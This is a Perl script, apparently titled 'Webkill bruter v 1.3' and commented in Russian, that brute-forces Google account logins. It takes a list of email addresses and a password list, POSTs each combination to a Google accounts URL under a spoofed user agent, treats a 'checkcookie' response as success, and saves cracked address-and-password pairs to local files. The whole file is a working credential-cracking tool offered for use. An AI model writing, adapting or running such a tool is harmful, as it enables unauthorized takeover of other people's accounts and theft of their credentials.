#!/usr/bin/perl

use LWP::UserAgent;

print "########## Webkill bruter v 1.3 ###############\n";
#превед ачат )))
my $ua = LWP::UserAgent->new(
max_size => 1024,
agent => 'kakep brayzer v 9.1.1',
timeout => 30,
);



$set=0;
$setall=0;
open email, "<mail.txt"; # в кавычках имя файла в котором будут хранится брутаемые мыла
$setting=20; # в начале строки стоит значение 30 оно означает через сколько проверенных паролей
# вы получите инфу о состоянии брута-- слишком маленькое значение может привести к переполнению
# видеобуфера так что осторожнее 

$time=localtime;
print "Start brute in $time";


while ($mails=<email>) {
$mails=~s/\n//; # убираем символ конца строки
($login,$domain)=split(/\@/,$mails); # разбираем мыло на логин и домен
if ($log==1){open logg,">>log.txt";print logg "-----Start brute-->$login\@$domain\n";close logg;}
open pass, "<pass.txt"; # в кавычках указываем имя файла с паролями
print "\n-----Start brute-->$login\@$domain\n\n"; 
open logg,">>log.txt";print logg "\n-----Start brute-->$login\@$domain\n\n";close logg;
while ($password=<pass>) {
$password=~s/\n//; # убираем символ конца строки


my $req = HTTP::Request->new(POST => 'https://www.google.com/accounts/ManageAccount');
$req->content("page=&post=&login_from=https://www.google.com/accounts/ManageAccount/&Login=$login&Domain=$domain&Password=$password");
$req->referer('https://www.google.com/accounts/ManageAccount');
my $res = $ua->request($req);
$yda4a=$res->as_string;
   
if ($yda4a=~m/500 Can't connect/==1) {print "$yda4a\n";exit;}        

# выводим текущее состояние брута
if ($set==$setting){$time=localtime;$time=substr($time,4,15);print "Send pass->$password  Bcego proBepeHo-->$setall  Time-->$time\n";open logg,">>log.txt";$time=localtime;$time=substr($time,4,15);print logg "Send pass->$password  Bcego proBepeHo-->$setall  Time-->$time\n";close logg;$set=0;} 

  
if ($yda4a=~m/checkcookie/==1) {print "For $login\@$domain password->$password\n";
open brut, ">>brute-mail.txt";print brut "$login\@$domain password->$password\n";close brut; 
open logg,">>log.txt";print logg "For $login\@$domain password->$password\n";close logg;
goto nashol;}   

$set++;   
$setall++;     
  
}

nashol:
close pass;
}
close email;